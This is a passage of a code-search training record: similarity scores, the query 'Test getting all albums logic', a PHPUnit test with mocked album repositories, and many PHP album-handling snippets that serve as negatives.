"0.60651326",
"0.60623515",
"0.6058769",
"0.6048242",
"0.6034685",
"0.6031285",
"0.60112816",
"0.6006339",
"0.60019535",
"0.5989138",
"0.5943264",
"0.59289956",
"0.5922865",
"0.5922175",
"0.5909084",
"0.5903942",
"0.58949345",
"0.58949345",
"0.58909345",
"0.5887457",
"0.588365",
"0.58790976",
"0.58756316",
"0.5855709",
"0.5854923",
"0.58533365",
"0.5852514",
"0.58501256",
"0.5846042",
"0.58449733",
"0.5840207",
"0.5837333",
"0.57943773",
"0.57916385",
"0.5790824",
"0.57862127",
"0.57822776",
"0.5778705",
"0.57769775",
"0.5772962",
"0.5763527",
"0.5755733",
"0.57546324",
"0.5750285",
"0.57483524",
"0.5745841",
"0.57418644",
"0.57243335",
"0.5707703",
"0.5707178",
"0.57039773",
"0.5703407",
"0.56952256",
"0.5694335",
"0.56918806",
"0.5683744",
"0.5682539",
"0.5675773",
"0.5675773",
"0.5675773",
"0.5675773",
"0.5675773",
"0.5675773",
"0.5675202",
"0.5674997",
"0.567368",
"0.56652373",
"0.5656085",
"0.56558025",
"0.5647705",
"0.5642903",
"0.56398165",
"0.5639009",
"0.5636453",
"0.56300735",
"0.56293446",
"0.56271064",
"0.56247973",
"0.5618658"
]
| 0.0 | -1 |
Test getting all albums logic | public function testGetAllAlbums()
{
for($i = 1; self::ALBUMS_TO_MOCK >= $i; $i++) {
// First, mock the object to be used in the test
$album = $this->createMock(Album::class);
$albums[] = $album;
}
// Now, mock the repository so it returns the mock of the album
$albumRepository = $this
->getMockBuilder(AlbumRepository::class)
->disableOriginalConstructor()
->getMock();
$albumRepository->expects($this->once())
->method('findAll')
->will($this->returnValue($albums));
// Last, mock the EntityManager to return the mock of the repository
$entityManager = $this
->getMockBuilder(ObjectManager::class)
->disableOriginalConstructor()
->getMock();
$entityManager->expects($this->once())
->method('getRepository')
->will($this->returnValue($albumRepository));
$albumFatsManager = new AlbumManagerService($entityManager, self::$paginator, self::$serializer);
$result = json_decode( $albumFatsManager->getAllAlbums(), true);
$this->assertArrayHasKey('items', $result);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function testFetchAllSongs() {\n $songs = factory(Song::class)->create();\n\n $this->get('/graphql?query={songs{id,name,views,lyrics}}')\n ->assertStatus(200)\n ->assertExactJson([\n 'data' => [\n 'songs' => array([\n 'id' => $songs->id,\n 'name' => $songs->name,\n 'views' => $songs->views,\n 'lyrics' => $songs->lyrics\n ])\n ]\n ]);\n }",
"public function getAlbums()\n {\n $url = str_replace(\"[:action]\", \"albums\", self::ImgUrAPI_MINE_URL);\n $url = str_replace(\"[:user_id]\", $this->user_id, $url);\n $result = self::excuteHTTPSRequest($url, $this->accessToken);\n\n $_albums = '';\n\n foreach ($result['data'] as $item) {\n $_album = new ImgUrAlbum();\n $_album->setAttributes($item);\n $_albums[] = $_album;\n }\n\n return $_albums;\n }",
"public function testAlbums()\n {\n $widget = 'MeCms.Photos::albums';\n\n $expected = [\n ['div' => ['class' => 'widget mb-4']],\n 'h4' => ['class' => 'widget-title'],\n 'Albums',\n '/h4',\n ['div' => ['class' => 'widget-content']],\n 'form' => ['method' => 'get', 'accept-charset' => 'utf-8', 'action' => '/album/album'],\n ['div' => ['class' => 'form-group input select']],\n 'select' => ['name' => 'q', 'onchange' => 'sendForm(this)', 'class' => 'form-control'],\n ['option' => ['value' => '']],\n '/option',\n ['option' => ['value' => 'another-album-test']],\n 'Another album test (2)',\n '/option',\n ['option' => ['value' => 'test-album']],\n 'Test album (2)',\n '/option',\n '/select',\n '/div',\n '/form',\n '/div',\n '/div',\n ];\n $this->assertHtml($expected, $this->Widget->widget($widget)->render());\n\n //Renders as list\n $expected = [\n ['div' => ['class' => 'widget mb-4']],\n 'h4' => ['class' => 'widget-title'],\n 'Albums',\n '/h4',\n ['div' => ['class' => 'widget-content']],\n 'ul' => ['class' => 'fa-ul'],\n ['li' => true],\n ['i' => ['class' => 'fas fa-caret-right fa-li']],\n ' ',\n '/i',\n ['a' => ['href' => '/album/another-album-test', 'title' => 'Another album test']],\n 'Another album test',\n '/a',\n '/li',\n ['li' => true],\n ['i' => ['class' => 'fas fa-caret-right fa-li']],\n ' ',\n '/i',\n ['a' => ['href' => '/album/test-album', 'title' => 'Test album']],\n 'Test album',\n '/a',\n '/li',\n '/ul',\n '/div',\n '/div',\n ];\n $this->assertHtml($expected, $this->Widget->widget($widget, ['render' => 'list'])->render());\n\n //Empty on albums index\n $request = $this->Widget->getView()->getRequest()->withEnv('REQUEST_URI', Router::url(['_name' => 'albums']));\n $this->Widget->getView()->setRequest($request);\n $this->assertEmpty($this->Widget->widget($widget)->render());\n $this->Widget->getView()->setRequest(new ServerRequest());\n $this->assertEquals(2, Cache::read('widget_albums', $this->Table->getCacheName())->count());\n\n //With no photos\n $this->Table->deleteAll(['id IS NOT' => null]);\n $request = $this->Widget->getView()->getRequest()->withEnv('REQUEST_URI', '/');\n $this->Widget->getView()->setRequest($request);\n $this->assertEmpty($this->Widget->widget($widget)->render());\n $this->assertEmpty($this->Widget->widget($widget, ['render' => 'list'])->render());\n }",
"function showAllAlbum() {\n $sql = \"SELECT * FROM `itf_album`\";\n return $this->dbcon->FetchAllResults($sql);\n }",
"public function testGetAlbumImages($albumId = 1, $page = 1)\n {\n for($i = 1; 25 >= $i; $i++) {\n // First, mock the object to be used in the test\n $image = $this->createMock(Image::class);\n $images[] = $image;\n }\n\n $paginatorEvent = $this\n ->getMockBuilder(SlidingPagination::class)\n ->setMethods(array('getPageCount', 'getItems'))\n ->disableOriginalConstructor()\n ->getMock();\n $paginatorEvent->expects($this->once())\n ->method('getPageCount')\n ->will($this->returnValue(count($images)/Album::MAX_IMAGES_PER_PAGE));\n $paginatorEvent->expects($this->once())\n ->method('getItems')\n ->will($this->returnValue(array_slice($images, ($page-1)*Album::MAX_IMAGES_PER_PAGE, ($page-1)*Album::MAX_IMAGES_PER_PAGE+Album::MAX_IMAGES_PER_PAGE)));\n \n $paginator = $this\n ->getMockBuilder(Paginator::class)\n ->setMethods(array('paginate'))\n ->disableOriginalConstructor()\n ->getMock();\n $paginator->expects($this->once())\n ->method('paginate')\n ->will($this->returnValue($paginatorEvent));\n\n // Use the Abstract query, which has nearly all needed Methods as the Query.\n $query = $this\n ->getMockBuilder(AbstractQuery::class)\n ->setMethods(array('setParameter', 'getResult'))\n ->disableOriginalConstructor()\n ->getMockForAbstractClass();\n\n $imageRepository = $this\n ->getMockBuilder(ImageRepository::class)\n ->disableOriginalConstructor()\n ->getMock();\n $imageRepository->expects($this->once())\n ->method('getAlbumImagesQuery')\n ->will($this->returnValue($query));\n \n $entityManager = $this\n ->getMockBuilder(ObjectManager::class)\n ->disableOriginalConstructor()\n ->getMock();\n $entityManager->expects($this->once())\n ->method('getRepository')\n ->will($this->returnValue($imageRepository));\n\n $albumFatsManager = new AlbumManagerService($entityManager, $paginator, self::$serializer);\n $result = json_decode($albumFatsManager->getAlbumImages($albumId, $page), true);\n \n $this->assertArrayHasKey('items', $result);\n $this->assertArrayHasKey('paging', $result);\n }",
"public function getAlbums()\n\t{\n\t\treturn Db::getInstance()->executeS('SELECT * FROM `'._DB_PREFIX_.'azgallery_album`');\n\t}",
"public function loadAlbums()\n {\n\t\t$json = file_get_contents('https://itunes.apple.com/us/rss/topalbums/limit=100/json');\n \n $albums = json_decode($json, true);\n $category_sql = \"INSERT IGNORE INTO categories (name, category_id, link) VALUES (:name, :category_id, :link)\";\n\t\t$album_sql = \"INSERT IGNORE INTO albums (album_id, name, artist, artist_link, category_id, release_date, rank) VALUES (:album_id, :name, :artist, :artist_link, :category_id, :release_date, :rank)\";\n\t\t$images_sql = \"INSERT IGNORE INTO album_art (album_id, album_image, image_size) VALUES (:album_id, :album_image, :image_size)\";\n\n\t\t//Lets delete whatever is in these tables before adding to them.\n\t\t$this->purgeTables();\n \n foreach($albums['feed']['entry'] as $rank=>$album) {\n\t\t\t\n\t\t\t//Insterts categories\n\t\t\t$stmt= $this->db->prepare($category_sql);\n\t\t\t\n\t\t\t$data = [\n\t\t\t\t'name' => $album['category']['attributes']['label'],\n\t\t\t\t'category_id' => $album['category']['attributes']['im:id'],\n\t\t\t\t'link' => $album['category']['attributes']['scheme'],\n\t\t\t];\n\t\t\t\n\t\t\t$stmt->execute($data);\n\t\t\t\n\t\t\t//Insterts album info\n\t\t\t$stmt= $this->db->prepare($album_sql);\n\t\t\t\n\t\t\t$data = [\n\t\t\t\t'album_id' => $album['id']['attributes']['im:id'],\n\t\t\t\t'name' => $album['title']['label'],\n\t\t\t\t'artist' => $album['im:artist']['label'],\n\t\t\t\t'artist_link' => (isset($album['im:artist']['attributes'])) ? $album['im:artist']['attributes']['href'] : '',\n\t\t\t\t'category_id' => $album['category']['attributes']['im:id'],\n\t\t\t\t'release_date' => $album['im:releaseDate']['label'],\n\t\t\t\t'rank' => $rank,\n\t\t\t];\n\n\t\t\t$stmt->execute($data);\n\t\t\t\n\t\t\t//inserts album images\n\t\t\t$stmt= $this->db->prepare($images_sql);\n\t\t\t\n\t\t\tforeach($album['im:image'] as $image){\n\t\t\t\t$data = [\n\t\t\t\t\t'album_id' => $album['id']['attributes']['im:id'],\n\t\t\t\t\t'album_image' => $image['label'],\n\t\t\t\t\t'image_size' => $image['attributes']['height'],\n\t\t\t\t];\n\t\t\t\t\n\t\t\t\t$stmt->execute($data);\n\t\t\t}\n\t\t}\n\t}",
"function getAlbums() {\n\n $ro = new GetAlbumsRO();\n $files = glob('Pics/*');\n $numfiles = count($files);\t\n\n for ($i=0; $i < $numfiles; $i++)\n {\n $onefile = $files[$i];\n $imgs_in_album = glob(\"$onefile/*.[jJ][pP][gG]\");\n if (count($imgs_in_album) > 0)\n $album_image = $imgs_in_album[0];\n else\n $album_image = \"res/GenericAlbum.jpg\";\n $album_name = basename($onefile);\n\n $oneAlbum = new AlbumInfo($album_name, $album_image);\n array_push($ro->albums, $oneAlbum);\n }\n\n return $ro;\n}",
"public function getAlbums()\n {\n return $this->albums;\n }",
"public function get_album_suite()\n {\n $results = array();\n\n $catalog_where = \"\";\n $catalog_join = \"LEFT JOIN `catalog` ON `catalog`.`id` = `song`.`catalog`\";\n if ($catalog) {\n $catalog_where .= \" AND `catalog`.`id` = '$catalog'\";\n }\n if (AmpConfig::get('catalog_disable')) {\n $catalog_where .= \" AND `catalog`.`enabled` = '1'\";\n }\n\n $sql = \"SELECT DISTINCT `album`.`id` FROM album LEFT JOIN `song` ON `song`.`album`=`album`.`id` $catalog_join \" .\n \"WHERE `album`.`mbid`='$this->mbid' $catalog_where ORDER BY `album`.`disk` ASC\";\n\n $db_results = Dba::read($sql);\n\n while ($r = Dba::fetch_assoc($db_results)) {\n $results[] = $r['id'];\n }\n\n return $results;\n\n }",
"public function GetAlbums()\n {\n if ($handle = opendir('albums')) {\n # Loop thrue all entries in the directory handle untill it reads boolean FALSE\n while (false !== ($entry = readdir($handle))) {\n # Check to not display root and return links\n if ($entry != \".\" && $entry != \"..\") {\n # Display entry link\n include \"../private_html/templates/albumCell.php\";\n }\n }\n closedir($handle);\n }\n }",
"public function testAlbumPictureRelations()\n {\n $album = Album::all()->first();\n // Check if album owns 5 pictures..\n $this->assertEquals($album->pictures->count(), Picture::all()->count());\n }",
"public function getAlbumsAction()\n {\n $em = $this->getDoctrine()->getManager();\n $albums = $em->getRepository(Album::class)->findAll();\n\n return $this->handleView($this->view($albums));\n }",
"private function getAlbums($aData)\n {\n /**\n * @var string\n */\n $sAction = (isset($aData['sAction']) && $aData['sAction'] == 'new') ? 'new' : 'more';\n /**\n * @var int\n */\n $iLastTimeStamp = isset($aData['iLastTimeStamp']) ? (int) $aData['iLastTimeStamp'] : 0;\n /**\n * @var string\n */\n $sView = isset($aData['sView']) ? $aData['sView'] : '';\n /**\n * @var int\n */\n $iAmountOfAlbum = isset($aData['iAmountOfAlbum']) ? (int) $aData['iAmountOfAlbum'] : 10;\n /**\n * @var string\n */\n $sSearch = isset($aData['sSearch']) ? $aData['sSearch'] : '';\n /**\n * @var array\n */\n $aCond = array();\n\n if (!empty($sSearch))\n {\n $aCond[] = 'm.name LIKE \"' . Phpfox::getLib('parse.input')->clean('%' . $sSearch . '%') . '\"';\n }\n switch ($sView) {\n case 'my':\n $aCond[] = 'm.user_id = ' . Phpfox::getUserId();\n break;\n\n case 'all':\n default:\n $aCond[] = 'm.view_id = 0';\n $aCond[] = 'm.privacy IN(0)';\n break;\n }\n if ($iLastTimeStamp > 0)\n {\n if ($sAction == 'more')\n {\n $aCond[] = 'm.time_stamp < ' . $iLastTimeStamp;\n }\n else\n {\n $aCond[] = 'm.time_stamp > ' . $iLastTimeStamp;\n }\n }\n $this->database()\n ->select('COUNT(*)')\n ->from(Phpfox::getT('music_album'), 'm');\n /**\n * @var int\n */\n $iCount = $this->database()\n ->where(implode(' AND ', $aCond))\n ->limit(1)\n ->execute('getField');\n if ($iCount == 0)\n {\n return array();\n }\n /**\n * @var array\n */\n $aAlbums = $this->database()\n ->select('lik.like_id AS is_liked, m.*, u.user_id, u.profile_page_id, u.server_id AS user_server_id, u.user_name, u.full_name, u.gender, u.user_image, u.is_invisible, u.user_group_id, u.language_id')\n ->from(Phpfox::getT('music_album'), 'm')\n ->leftJoin(Phpfox::getT('like'), 'lik', 'lik.type_id = \\'music_album\\' AND lik.item_id = m.album_id AND lik.user_id = ' . Phpfox::getUserId())\n ->join(Phpfox::getT('user'), 'u', 'u.user_id = m.user_id')\n ->where(implode(' AND ', $aCond))\n ->order('m.time_stamp DESC')\n ->limit(0, $iAmountOfAlbum, $iCount)\n ->execute('getRows');\n /**\n * @var array\n */\n $aResult = array();\n foreach ($aAlbums as $aAlbum)\n {\n $aResult[] = array(\n 'bIsLiked' => isset($aAlbum['is_liked']) ? (bool) $aAlbum['is_liked'] : false,\n 'iAlbumId' => $aAlbum['album_id'],\n 'iViewId' => $aAlbum['view_id'],\n 'iPrivacy' => $aAlbum['privacy'],\n 'iPrivacyComment' => $aAlbum['privacy_comment'],\n 'bIsFeatured' => (bool) $aAlbum['is_featured'],\n 'bIsSponsor' => (bool) $aAlbum['is_sponsor'],\n 'iUserId' => $aAlbum['user_id'],\n 'sName' => $aAlbum['name'],\n 'iYear' => $aAlbum['year'],\n 'sImagePath' => Phpfox::getLib('image.helper')->display(array(\n 'server_id' => $aAlbum['server_id'],\n 'path' => 'music.url_image',\n 'file' => $aAlbum['image_path'],\n 'suffix' => '_50_square',\n 'return_url' => true\n )\n ),\n 'iTotalTrack' => $aAlbum['total_track'],\n 'iTotalPlay' => $aAlbum['total_play'],\n 'iTotalComment' => $aAlbum['total_comment'],\n 'iTotalLike' => $aAlbum['total_like'],\n 'iTotalDislike' => $aAlbum['total_dislike'],\n 'iTotalScore' => $aAlbum['total_score'],\n 'iTotalRating' => $aAlbum['total_rating'],\n 'iTimeStamp' => $aAlbum['time_stamp'],\n 'sTimeStamp' => date('l, F j', $aAlbum['time_stamp']),\n 'sFullTimeStamp' => date('l, F j', $aAlbum['time_stamp']) . ' at ' . date('g:i a', $aAlbum['time_stamp']),\n 'sModuleId' => isset($aAlbum['module_id']) ? $aAlbum['module_id'] : 0,\n 'iItemId' => $aAlbum['item_id'],\n 'iProfilePageId' => $aAlbum['profile_page_id'],\n 'iUserServerId' => $aAlbum['user_server_id'],\n 'sUsername' => $aAlbum['user_name'],\n 'sFullname' => $aAlbum['full_name'],\n 'iGender' => $aAlbum['gender'],\n 'sUserImage' => Phpfox::getLib('image.helper')->display(array(\n 'server_id' => $aAlbum['user_server_id'],\n 'path' => 'core.url_user',\n 'file' => $aAlbum['user_image'],\n 'suffix' => '_50_square',\n 'return_url' => true\n )\n ),\n 'bIsInvisible' => $aAlbum['is_invisible'],\n 'iUserGroupId' => $aAlbum['user_group_id'],\n 'iLanguageId' => isset($aAlbum['language_id']) ? $aAlbum['language_id'] : 0\n );\n }\n return $aResult;\n }",
"function get_top_albums() {\n\t\t$data = $this->_request_data('topalbums');\n\n\t\tif (!$data) return false;\n\n\t\tforeach ($data->album as $album) {\n\t\t\t$album = new LastfmAlbum($album, $this->_connection);\n\t\t\t//$album->artist = $this->name;\n\t\t\t$result[] = $album;\n\t\t}\n\n\t\treturn $result;\n\n\t}",
"public function getAlbums($id){\n $artist = Artist::find($id);\n return $artist->albums;\n }",
"public function getAlbums()\n {\n return GalleryAlbum::get()->filter('ParentID', $this->ID);\n }",
"function getAlbumImages($args)\n{\n global $_zp_current_image;\n if (is_object($login_state = authorize($args))) {\n return $login_state;\n }\n $args = decode64($args);\n logger('getAlbumImages', ($args['loglevel']));\n $albumobject = getItemByID('albums', $args['id']);\n $images = $albumobject->getImages();\n if (!($albumobject || !$args['id'])) {\n return new ZEN_Error(-1, 'No folder with database ID '.$args['id'].' found!');\n }\n makeAlbumCurrent($albumobject);\n $list = [];\n while (next_image(true)) {\n $meta = $_zp_current_image->getmetadata();\n if ($meta['EXIFDateTimeOriginal']) {\n $imagedate = $meta['EXIFDateTimeOriginal'];\n } else {\n $imagedate = false;\n }\n $list[] = entitysave([\n 'id' => $_zp_current_image->getID(),\n 'albumid' => $_zp_current_image->getAlbum()->getID(),\n 'name' => $_zp_current_image->filename,\n 'shortdate' => date('Y-m-d', (strtotime(str_replace(' ', '', (str_replace(':', '', $imagedate)))))),\n 'longdate' => $imagedate,\n 'url' => WEBPATH.'index.php?album='.urlencode($_zp_current_image->album->name).'&image='.urlencode($_zp_current_image->filename),\n 'folder' => $_zp_current_image->getAlbum()->getFolder(),\n // added by monta\n 'thumbnail' => $_zp_current_image->getThumbImageFile(),\n 'description' => $_zp_current_image->getDesc(),\n 'commentcount' => count($_zp_current_image->getComments()),\n ]);\n } //next_image( true )\n //writelog((var_export($list, true)));\n return $list;\n}",
"public function testGetGalleries() : void {\n $expected = 0;\n $this->assertEquals($expected, count($this->dataManager->getGalleries()));\n }",
"public function allAlbums()\n {\n return $this\n ->select(\"*\", \"artists.slug as slugArtist\", \"albums.slug as slugAlbum\", 'albums.created_at as created_at')\n ->join('artists', 'albums.artist', '=', 'artists.id')\n ->orderBy('albums.released', 'desc')\n ->paginate(10);\n }",
"public function gallery_albums()\n {\n $lang = $this->data['lang'];\n $user_id = $this->user_id;\n\n $this->data['page'] = 'gallery' ;\n $this->data['gallery_albums'] = $this->home_m->get_data('gallery_albums')->result_array();\n\n $body = 'gallery_albums' ;\n\n $this->load_pages($body,$this->data);\n }",
"public function get_albums()\r\n\t{\r\n\t\t$xml = $this->call(PicasaAPI::$QUERY_URLS['picasa'] . \"?kind=album&alt=rss&prettyprint=true\");\r\n\t\treturn $xml;\r\n\t}",
"public function testJson()\n {\n $albums = factory('App\\Models\\Album', 3)->create();\n\n $this->get('/albums');\n $this->assertResponseStatus(200);\n $this->assertJsonStringEqualsJsonString((string) $albums, $this->response->getContent());\n\n $this->get('/album/' . $albums[0]->id);\n $this->assertResponseStatus(200);\n $this->assertJsonStringEqualsJsonString((string) $albums[0], $this->response->getContent());\n\n $songs = factory('App\\Models\\Song', 9)->create(['album' => $albums[0]->id]);\n // Sort by track. Then splice to reset the keys.\n $songs = $songs->sortBy('track')->splice(0);\n\n $this->get('/album/' . $albums[0]->id . '/songs');\n $this->assertResponseStatus(200);\n $this->assertJsonStringEqualsJsonString((string) $songs, $this->response->getContent());\n }",
"function albumsList($albums=array(), $startnum=-1, $modvars=array(), $albumsCount=null)\n\t{\n\t\t// Create output object\n\t\t$pnRender = pnRender :: getInstance('crpCasa');\n\n\t\t$pnRender->assign('startnum',$startnum);\n\t\t$pnRender->assign($modvars);\n\t\t$pnRender->assign('albums',$albums);\n\t\t// Assign the information required to create the pager\n\t\t$pnRender->assign('pager', array (\n\t\t\t'numitems' => $albumsCount,\n\t\t\t'itemsperpage' => $modvars['albumsperpage']\n\t\t));\n\n\t\t// Return the output that has been generated by this function\n\t\treturn $pnRender->fetch('crpcasa_user_albums_list.htm');\n\t}",
"function albums_get_albums($only_return_title = FALSE) {\n\t$files = read_dir_contents(ALBUMS_DIR, 'files');\n\n\tif ($files) {\n\t\tnatcasesort($files);\n\t\tforeach ($files as $album) {\n\t\t\tinclude(ALBUMS_DIR.'/'.$album);\n\t\t\tif ($only_return_title == TRUE)\n\t\t\t\t$albums[] = $album_name;\n\t\t\telse {\n\t\t\t\t$albums[] = array(\n\t\t\t\t\t'title' => $album_name,\n\t\t\t\t\t'seoname' => str_replace('.php', '', $album)\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\tunset($album);\n\n\t\treturn $albums;\n\t}\n\n\telse\n\t\treturn false;\n}",
"public function test_images_all()\n {\n $response = $this->getJson('/api/images');\n $response\n ->assertStatus(200);\n }",
"public function testGetAll()\n {\n $contentCategories = factory(ContentCategory::class, 2)->create();\n $results = $this->contentCategoryService->getAll();\n\n $this->assertTrue( $contentCategories->count() == $results->count() );\n $contentCategories->each( function($contentCategory, $index) use ($results) {\n $this->assertTrue($contentCategory->id == $results[$index]->id);\n });\n }",
"public function testGetImages() : void {\n $galleryId = 0;\n $expected = 0;\n $this->assertEquals($expected, count($this->dataManager->getImages($galleryId)));\n }",
"public function getAlbumsForArtist($artist_id,$artist_role){\r\n\t\tif($artist_id){\r\n\t\t\t$container = new container_db_dto();\r\n\t\t\t\r\n\t\t\t$limit = (int)$this->messenger[\"query\"][\"limit\"];\r\n\t\t\t$start = (int)$this->messenger[\"query\"][\"start\"];\r\n\t\t\t$orderBy = \"\";\r\n\t\t\tif(\t$this->messenger['query']['sf'] != '' ){\r\n\t\t\t\t$orderBy = \" ORDER BY am.\".$this->messenger['query']['sf'].\" \".$this->messenger['query']['so'];\r\n\t\t\t}\r\n\t\t\t$where = ' where am.status = 1 and aa.artist_id = '.$artist_id;\r\n\t\t\tif($artist_role!=null && key_exists($artist_role,$this->aConfig['artist_type'])){\r\n\t\t\t\t$artist_role_id = $this->aConfig['artist_type'][$artist_role];\r\n\t\t\t\tif($artist_role_id)\r\n\t\t\t\t\t$where = $where.\" and aa.artist_role & \".$artist_role_id.\"=\".$artist_role_id;\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t\t$this->apply_where_criteria($where);\r\n\t\t\t$this->sSql = \"select count(aa.album_id) as cnt\r\n\t\t\t\t\t\tfrom artist_album aa left join album_mstr am on am.album_id=aa.album_id\r\n\t\t\t\t\t\tleft join language_mstr lm on lm.language_id=am.language_id \r\n\t\t\t\t\t\tLEFT JOIN label_mstr lb ON lb.label_id=am.label_id \r\n\t\t\t\t\t\t\".$where;\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t$res = $this->oMysqli->query($this->sSql);\r\n\t\t\tif($res!=-1 and sizeof($res)>0){\r\n\t\t\t\t$container->settotal_count($res[0]->cnt);\r\n\t\t\t\t$this->sSql = \"SELECT am.broadcast_year,am.content_type,am.film_rating,am.grade,lm.language_id,\r\n\t\t\t\t\t\tam.music_release_date,am.album_id,am.album_name,lm.language_name,am.music_release_date,am.title_release_date,am.album_image,\r\n\t\t\t\t\tam.album_type,lb.label_name @@@album_desc@@@ @@@album_excerpt@@@\r\n\t\t\t\t\tfrom artist_album aa left join album_mstr am on am.album_id=aa.album_id\r\n\t\t\t\t\t\tleft join language_mstr lm on lm.language_id=am.language_id \r\n\t\t\t\t\t\tLEFT JOIN label_mstr lb ON lb.label_id=am.label_id \r\n\t\t\t\t\t\t\".$where.\" \".$orderBy .\" LIMIT $start, $limit\";\r\n\t\t\t\t$this->apply_includes();\r\n\t\t\t\t$res = $this->oMysqli->query($this->sSql);\r\n\t\t\t\t$data = array();\r\n\t\t\t\t$album_ids_arr = array();\r\n\t\t\t\tif(sizeof($res)>0 && $res!=-1){\r\n\t\t\t\t\tforeach ($res as $resValue){\r\n\t\t\t\t\t\t$album = new album_db_dto();\r\n\t\t\t\t\t\t$album->setalbum_id($resValue->album_id);\r\n\t\t\t\t\t\t$album_ids_arr[] = $resValue->album_id;\r\n\t\t\t\t\t\t$album->setalbum_name($resValue->album_name);\r\n\t\t\t\t\t\t$album->setalbum_language($resValue->language_name);\r\n\t\t\t\t\t\t$album->setalbum_language_id($resValue->language_id);\r\n\t\t\t\t\t\t$album->setalbum_music_rel_dt($resValue->music_release_date);\r\n\t\t\t\t\t\t$album->setalbum_label($resValue->label_name);\r\n\t\t\t\t\t\t$album->setalbum_type($this->oCommon->getalbumtype($resValue->album_type));\r\n\t\t\t\t\t\t$album->setalbum_title_rel_dt($resValue->title_release_date);\r\n\t\t\t\t\t\t$album->setalbum_df_image($resValue->album_image);\r\n\t\t\t\t\t\t$album->setalbum_broadcast_year($resValue->broadcast_year);\r\n\t\t\t\t\t\t$album->setalbum_content_type($this->oCommon->getalbumcontenttype($resValue->content_type));\r\n\t\t\t\t\t\t$album->setalbum_film_rating($resValue->film_rating);\r\n\t\t\t\t\t\t$album->setalbum_grade($resValue->grade);\r\n\t\t\t\t\t\tif(in_array(\"album_description\",$this->req_includes_arr)){\r\n\t\t\t\t\t\t\t$album->setalbum_description($resValue->album_desc);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tif(in_array(\"album_excerpt\",$this->req_includes_arr)){\r\n\t\t\t\t\t\t\t$album->setalbum_excerpt($resValue->album_excerpt);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t$data[]=$album;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$artist_album_map=array();\r\n\t\t\t\t\t$artist_album_map = $this->oCommon->getArtistForAlbum($album_ids_arr);\r\n\t\t\t\t\t$album_tag_map = array();\r\n\t\t\t\t\tif(in_array(\"album_tags\",$this->req_includes_arr)){\r\n\t\t\t\t\t\t$album_tag_map = $this->oCommon->getAlbumTags($album_ids_arr);\r\n\t\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t\tforeach($data as $album){\r\n\t\t\t\t\t\t$id = $album->getalbum_id();\r\n\t\t\t\t\t\tif(key_exists($id,$artist_album_map))\r\n\t\t\t\t\t\t\t$album->setalbum_artist($artist_album_map[$id]);\r\n\t\t\t\t\t\tif(key_exists($id,$album_tag_map))\r\n\t\t\t\t\t\t\t$album->setalbum_tags($album_tag_map[$id]);\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t$container->setdata($data);\r\n\t\t\t\t\r\n\t\t\t\treturn $container->to_array();\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t}",
"function getSubAlbums($album)\n{\n $list = [];\n $albumObj = new Album($album);\n $albumID = $albumObj->getID();\n $parentID = getItemByID('albums', $albumID);\n if ($albumObj->isDynamic() || !$albumID) {\n return $list;\n }\n $subalbums = $albumObj->getAlbums(null, null, null, null, true);\n $subalbums = $parentID->getAlbums(null, null, null, null, true);\n if (is_array($subalbums)) {\n foreach ($subalbums as $subalbum) {\n $list[] = $subalbum;\n $list = array_merge($list, getSubAlbums($subalbum));\n } //$subalbums as $subalbum\n } //is_array($subalbums)\n return $list;\n}",
"public function getAlbums($album = NULL)\n {\n if(is_null($album))\n {\n //Si cargue todos los albums\n if(is_null($this->album_loaded))\n {\n return $this->albums;\n }\n //Si cargue un album en particular\n else\n {\n return $this->albums[$this->hashMap[$this->album_loaded]];\n }\n }\n else\n {\n if(array_key_exists($album, $this->hashMap))\n {\n return $this->albums[$this->hashMap[$album]];\n }\n else\n {\n throw new Exception('The album ' . $album . ' is not loaded', 102);\n }\n }\n }",
"public function testThumbnailsInsideHiddenAlbum(): void\n\t{\n\t\t$isRecentPublic = RecentAlbum::getInstance()->public_permissions() !== null;\n\t\t$arePublicPhotosHidden = Configs::getValueAsBool(TestConstants::CONFIG_PUBLIC_HIDDEN);\n\t\t$isPublicSearchEnabled = Configs::getValueAsBool(TestConstants::CONFIG_PUBLIC_SEARCH);\n\t\t$displayMap = Configs::getValueAsBool(TestConstants::CONFIG_MAP_DISPLAY);\n\t\t$displayMapPublicly = Configs::getValueAsBool(TestConstants::CONFIG_MAP_DISPLAY_PUBLIC);\n\t\t$includeSubAlbums = Configs::getValueAsBool(TestConstants::CONFIG_MAP_INCLUDE_SUBALBUMS);\n\n\t\ttry {\n\t\t\tAuth::loginUsingId(1);\n\t\t\tRecentAlbum::getInstance()->setPublic();\n\t\t\tConfigs::set(TestConstants::CONFIG_PUBLIC_HIDDEN, false);\n\t\t\tConfigs::set(TestConstants::CONFIG_PUBLIC_SEARCH, true);\n\t\t\tConfigs::set(TestConstants::CONFIG_MAP_DISPLAY, true);\n\t\t\tConfigs::set(TestConstants::CONFIG_MAP_DISPLAY_PUBLIC, true);\n\t\t\tConfigs::set(TestConstants::CONFIG_MAP_INCLUDE_SUBALBUMS, true);\n\n\t\t\t$albumID1 = $this->albums_tests->add(null, 'Test Album 1')->offsetGet('id');\n\t\t\t$albumID11 = $this->albums_tests->add($albumID1, 'Test Album 1.1')->offsetGet('id');\n\t\t\t$albumID12 = $this->albums_tests->add($albumID1, 'Test Album 1.2')->offsetGet('id');\n\t\t\t$albumID121 = $this->albums_tests->add($albumID12, 'Test Album 1.2.1')->offsetGet('id');\n\t\t\t$albumID13 = $this->albums_tests->add($albumID1, 'Test Album 1.3')->offsetGet('id');\n\n\t\t\t$photoID1 = $this->photos_tests->upload(\n\t\t\t\tAbstractTestCase::createUploadedFile(TestConstants::SAMPLE_FILE_AARHUS), $albumID1\n\t\t\t)->offsetGet('id');\n\t\t\t$photoID11 = $this->photos_tests->upload(\n\t\t\t\tAbstractTestCase::createUploadedFile(TestConstants::SAMPLE_FILE_ETTLINGEN), $albumID11\n\t\t\t)->offsetGet('id');\n\t\t\t$photoID12 = 